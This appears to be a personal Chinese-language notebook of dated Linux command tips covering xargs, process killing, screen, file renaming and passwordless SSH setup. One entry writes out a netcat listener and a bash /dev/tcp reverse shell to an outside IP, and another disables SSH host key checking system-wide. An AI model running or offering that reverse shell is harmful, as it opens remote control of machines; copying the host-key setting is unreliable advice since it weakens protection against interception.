Linux常用命令使用经验汇总
2021/02/04 一行代码统计不同代码的行数,字母数和字符数
for file in *.cpp *.java *.cs; do find -name $file | xargs -I {} wc {}; done
修改为:
for file in *.cpp *.java *.cs; do find -name $file | xargs wc ; done
还会带有第一项的统计功能,且速度也更快
2020/12/07 A创建B的反弹Shell
本机:nc -lvp 8102
目标:bash -i >& /dev/tcp/121.199.10.158/8102 0>&1
参考:测试后台运行命令,可以实现完全自动,1> 表示正常输出, 2> 表示错误输出
find / -name admin* 1> result.txt 2> error.txt &
另外,bg和fg分别前后台移动线程,jobs查看全部,ctrl+z前台切后台。
2020/12/04 根据名称杀进程
#!/bin/bash
ps -aux | grep $1 | awk '{print $2}' | xargs -I {} kill -9 {}
用法示例:./kill.sh node
作用说明:杀掉名称中带有"node"的进程
2020/12/04 查看文件夹大小
du -hs
另,ncdu 工具可以仿Windows一样以列表的形式查看文件大小。"
2020/12/03 测试后台运行命令,可以实现完全自动
find / -name admin* 1> result.txt 2> error.txt &
另外,bg和fg分别前后台移动线程,jobs查看全部,ctrl+z前台切后台".
2020/11/17 文件改名/更名
ls 医* -lsh | awk '{print $NF}' | awk -F. '{print $3}' | xargs -I {} mv 医.2014.{}.mkv S01E{}.mkv
ls -1 医* | awk -F. '{print $3}' | xargs -I {} mv 医.2014.{}.mkv S01E{}.mkv"
2020/08/19 Xargs示例
命令:seq -f "host%03g" 0 7 | xargs -n 1 -I {} echo ssh {} command
输出
ssh host000 command
ssh host001 command
ssh host002 command
ssh host003 command
ssh host004 command
ssh host005 command
ssh host006 command
ssh host007 command
2020/08/15 免输入Yes生成**和上传
#!/bin/bash
ssh-****** -y -P """" -f ~/.ssh/id_rsa -q
ssh-copy-id -i ~/.ssh/id_rsa.pub $1
#ssh -o stricthostkeychecking=no vnode2"
# 2020/8/5 Screen使用说明
分屏:水平=C-a,S;垂直=C-a,|
切换=C-a,tab,切换后内容空白,需要再新建:C-a,c (列出窗体是C-a,""), 关闭=C-a,X
改变大小:先输入C-a: (注意有个冒号),然后:resize [-h|-v|-b|-l|-p] [ [+|-]n[%] | = | max | min | _ | 0 ]
官方文档:https://www.gnu.org/software/screen/manual/screen.html
说明1:https://linuxize.com/post/how-to-use-linux-screen/
说明2:https://www.cnblogs.com/mchina/archive/2013/01/30/2880680.html
2020/08/05 如何去掉SSH首次登录的提示
SSH登陆会有以下提示:
Are you sure you want to continue connecting (yes/no)?
临时方法是登陆时加参数 ssh -o stricthostkeychecking=no
永久解决只需要在 /etc/ssh/ssh_config
中添加 StrictHostKeyChecking no
,另 StrictHostKeyChecking ask
表示首次登陆时要询问。
2020/08/05 服务器自动推送脚本
#!/bin/bash
cp $1 /opt/apache-tomcat-8.5.57/webapps/ROOT/downloads/$1
echo http://121.190.158:8080/downlads/$1"
注: 第1个参数必需是文件名。
2020/07/22 为什么要加 ./
来运行脚本?
在linux下运行程序,一定要写成 ./test.sh
,而不是 test.sh
。
这是因为直接写 test.sh
,系统会从环境变量PATH里找,若不存在则会提示找不到,
但用 ./test.sh
系统就会在当前目录下寻找而不是PATH,所以就可以运行程序了。
扩展:若要在指定目录编写内容,则
2020/07/21 创建新用户
useradd username -m # 添加用户并创建用户目录
passwd username # 设置用户密码"
密码输入两次,第1次如果**复杂度不够会报错,但是可以不用理会,第2次再设置即可。
2020/07/21 Linux 下搭建Git 服务器详细步骤
https://www.cnblogs.com/Latiny/p/10976090.html
2020/02/11 进程操作
查看进程: ps -afx | grep thread_name
杀死线程: kill -9 thead_id
2020/02/10 无密码登陆三步:
- 生成公钥:
ssh-****** -t rsa
- 上传公钥:
scp ~/.ssh/id_rsa.pub [email protected]:
注意,最后有个冒号,表示root用户的根目录 - 登陆合并:
cat id_rsa.pub >> ~/.ssh/authorized_keys
若无此目录,使用命令:ssh localhost"
注意事项:
- 可以使用以下命令简化(部分系统不支持):
ssh-copy-id -i ~/.ssh/id_rsa.pub [email protected]服务器IP
- 远程机器的.ssh目录需要700权限,authorized_keys 文件需要600权限
2020/02/09 创建指定名称的Screen
screen -S hostname
来启动一个新的Screen连接,其名称为hostname。